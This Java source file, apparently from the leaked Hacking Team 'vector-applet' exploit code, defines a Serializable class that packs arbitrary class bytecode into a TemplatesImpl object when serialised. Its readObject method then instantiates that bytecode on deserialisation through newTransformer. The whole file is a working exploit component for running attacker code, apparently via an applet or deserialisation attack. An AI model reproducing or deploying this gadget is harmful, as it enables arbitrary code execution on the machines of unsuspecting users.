hackedteam/vector-applet

package x;

import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.List;
import java.util.Properties;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

/**
 * Encrypted Classes holder, duplicated here with functions to write during serialize.
 */
public class EC implements Serializable {

    public static Object t;
    
    private static final long serialVersionUID = 7184753337713309073L;

    transient List<File> files = new ArrayList<File>();

    private String baseDirectory;
    
    public EC() {
    }
    
    public void setBaseDirectory(String string) {
        this.baseDirectory = string;
    }
    
    public void add(Class<?> clazz) {
        add(new File(baseDirectory+"/"+clazz.getName().replace('.', '/')+".class"));
    }
    
    public void add(File classFile) {
        files.add(classFile);
    }
    
    public void add(String classFile) {
        files.add(new File(classFile));
    }
    
    private void writeObject(java.io.ObjectOutputStream out) throws IOException {
        byte[][] classBytes = new byte[files.size()][];
        for( int i=0; i<files.size(); i++ ) {
            File f = files.get(i);
            byte[] b = new byte[(int) f.length()];
            FileInputStream fin = new FileInputStream(f);
            fin.read(b);
            fin.close();
            classBytes[i]=b;
        }
        Constructor<TemplatesImpl> c;
        try {
            c = TemplatesImpl.class.getDeclaredConstructor(new Class[] {byte[][].class, String.class, Properties.class, int.class, TransformerFactoryImpl.class});
            c.setAccessible(true);
            TemplatesImpl impl = c.newInstance(classBytes,"x",new Properties(),0,new TransformerFactoryImpl());            
            out.writeObject(impl);
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }
    
    public Class<?> getClass(String name) throws ClassNotFoundException {
        Method m;
        try {
            m = t.getClass().getMethod("getClass", new Class[] { String.class });
            return (Class<?>) m.invoke(t, name);
        } catch (Exception e) {
            throw new RuntimeException("Blubb",e);
        }
    }
             
    private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
//        TemplatesImpl templatesImpl = (TemplatesImpl) in.readObject();
        Object templatesImpl = in.readObject();
        try {
            // This instantiates the ClassFindingTranslet
//            TransformerImpl impl = (TransformerImpl) templatesImpl.newTransformer();
            Object impl = templatesImpl.getClass().getDeclaredMethod("newTransformer").invoke(templatesImpl);
            t = impl.getClass().getMethod("getParameter",String.class).invoke(impl, "x");
        } catch (Exception e) {
            throw new RuntimeException("Blah",e);
        } 
    }
    
}